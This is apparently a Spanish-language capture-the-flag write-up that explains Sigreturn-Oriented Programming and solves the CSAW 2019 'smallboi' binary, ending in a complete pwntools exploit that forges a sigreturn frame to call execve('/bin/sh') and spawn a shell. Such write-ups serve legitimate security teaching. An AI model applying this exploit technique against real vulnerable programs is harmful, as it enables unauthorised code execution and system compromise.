Programacion Orientada a Sigreturn (SROP)
Table of contents
Resolucion de un ejercicio aplicando la tecnica SROP, para ejecutar un sigcontext falso y conseguir una shell
Señales
Las señales son un mecanismo para enviar notificaciones asincrónicas directamente a un proceso o subproceso. Este se utilizan para matar procesos, para decirles que los temporizadores han expirado o para notificar sobre un comportamiento anormal.
Funcion de las señales
Cuando se tiene un proceso previamente creado, lo que se hace primero es que el kernel envia una señal a ese proceso, el proceso se suspende temporalmente y entrara en el kernel
Despues, el kernel guarda el contexto de ese proceso y salta al controlador de la señal (este ya debe de estar previamente definido)
Cuando se vuelve e pasar el kernel, el controlador de la señal regresa, y el kernel restaura el contexto del proceso
Ejecucion del proceso
Del paso 2 al 3 es la clave. SROP abusa de sigreturn()
por que normalmente restaura el contexto del proceso despues de que regresa el controlador de señal, esto funciona mas o menos asi:
El kernel guarda el contexto del proceso en el stack del proceso, luego se usa la direccion de rt_sigreturn
en el top del stack, esta direccion apunta a un fragmento de codigo en el que sigreturn()
llamara a sistema. Despues del paso 3, el RSP o ESP apunta a rt_sigreturn
y ejecuta el sigcontext
SROP
SROP es una variante de ROP, pero en esta solo se deben de cumplir dos condiciones
- Un gadget
syscall; ret
- Una manera de poner
0xf
enRAX
oEAX
Dos de las formas mas usadas para poner 0xf
en RAX
son:
- Usar
mov eax, 0xf
- Usar
pop eax; ret
Ambas son faciles de implementar, ya que meten 0xf
en una sola acccion. Y el 0xf
simplemente es el syscall ID de rt_sigreturn
.
Como funciona
Aun que es similar a ROP, no funcionan de la misma forma, SROP funciona poniendo en el call stack un sigcontext
pero falso. y luego sobrescribir el RIP
o EIP
con la direccion de un gadget que permita llamar a sigreturn()
, y se apunta a sigreturn()
ya que este permite ejecutar el sigcontext
, realmente esto es muy poderoso, ya que con SROP podemos controlar al mismo tiempo todos los valores de los registros. Y cuando digo sigcontext
, me refiero a esto:
struct sigcontext_64 {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 di;
__u64 si;
__u64 bp;
__u64 bx;
__u64 dx;
__u64 ax;
__u64 cx;
__u64 sp;
__u64 ip;
__u64 flags;
__u16 cs;
__u16 gs;
__u16 fs;
__u16 ss;
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
__u64 fpstate;
__u64 reserved1[8];
};
Cuando el atacante crea un sigcontext
falso, puede establecer cualquier valor de cada uno de esos registros
Explotacion
Para el ejemplo usare un clasico, smallboi
de CSAW 2019
Al ejecutarlo simplemente se queda esperando un input y se cierra, y al tratar de desbordar el buffer vemos que si se puede:
[1] 423456 segmentation fault (core dumped) ./small_boi
Pero tiene NX asi que no podemos ejecutar una shellcode
Analizandolo
Al materlo al radare, vemos y hacer un pdf
vemos algo como esto:
Esto simplemente es el entry point, y lo unico interesante es que en la direccion 0x004001b6
hace un llamado a fcn.0040018c
, asi que vamos pa’ alla
Este es su codigo, basicamente el binario hacer una syscall de read()
, la cual es la funcion que recibe nuestro input, la cual lee 0x200
bytes que vienen de var_20h
Sacando el offset el RIP
Esta es la parte mas sencilla, asi que realmente no requiere mucha explicacion, lo que hice fue:
- Usando pwndbg genere con
cyclic 100
una secuencia de 100 caracteres que le pase como input al programa - Usando
cyclic -l
y 8 bytes de el RSP obtuve su offset
Y bueno, el offset para llegar al RIP es 40
Sacando el gadget
El binario apenas si tiene instrucciones y por consiguiente apenas y tendra los gadgets que son usados comunmente jaja, asi que ahora queda mostrar los gadgets usando /R
en radare, a ver que onda.
Despues de ver los gadgets nos encontramos con el que usaremos:
Aqui esta todo lo que ocupamos, este unico gadget hace las dos condiciones que mencion al principio, ya que establece a EAX
el nuemero de la syscall equivalente a sigreturn()
y la invoca. Tambien como mencione antes, en SROP se crear un sigcontext
falso, asi que en esta caso haremos uno falso llamando a execve()
con el arguemento /bin/sh
Para sacar /bin/sh
simplemente podemos / /bin/sh
y vemos que nos arroja algo como esto:
Donde la direccion de /bin/sh
es la que esta seleccionada
Exploit
Al conseguir todo, nuestro exploit queda asi:
from pwn import *
context.arch = 'amd64'
p = process("./small_boi")
bin_sh = 0x4001ca
sigreturn = 0x400180
syscall = 0x400185
payload = b'A'*40
payload += p64(sigreturn)
frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload += bytes(frame)
p.send(payload)
p.interactive()
Y los valores salieron de aca:
Con SigreturnFrame
Podemos crear un sigcontext
falso, donde se establece rax
a 59 (para execve), rdi
a la dirección del /bin/sh
, rsi
y rdx
ambos a 0, y rip
hacia la syscall
, esto con el fin de que la rt_sigreturn
syscall cambie de contexto usando estos valores del falso sigcontext
, llamando así a execve
con /bin/sh
. :point_up: 🤓
Y el ejecutarlo nos da la shell:
Eso ha sido todo, gracias por leer ❤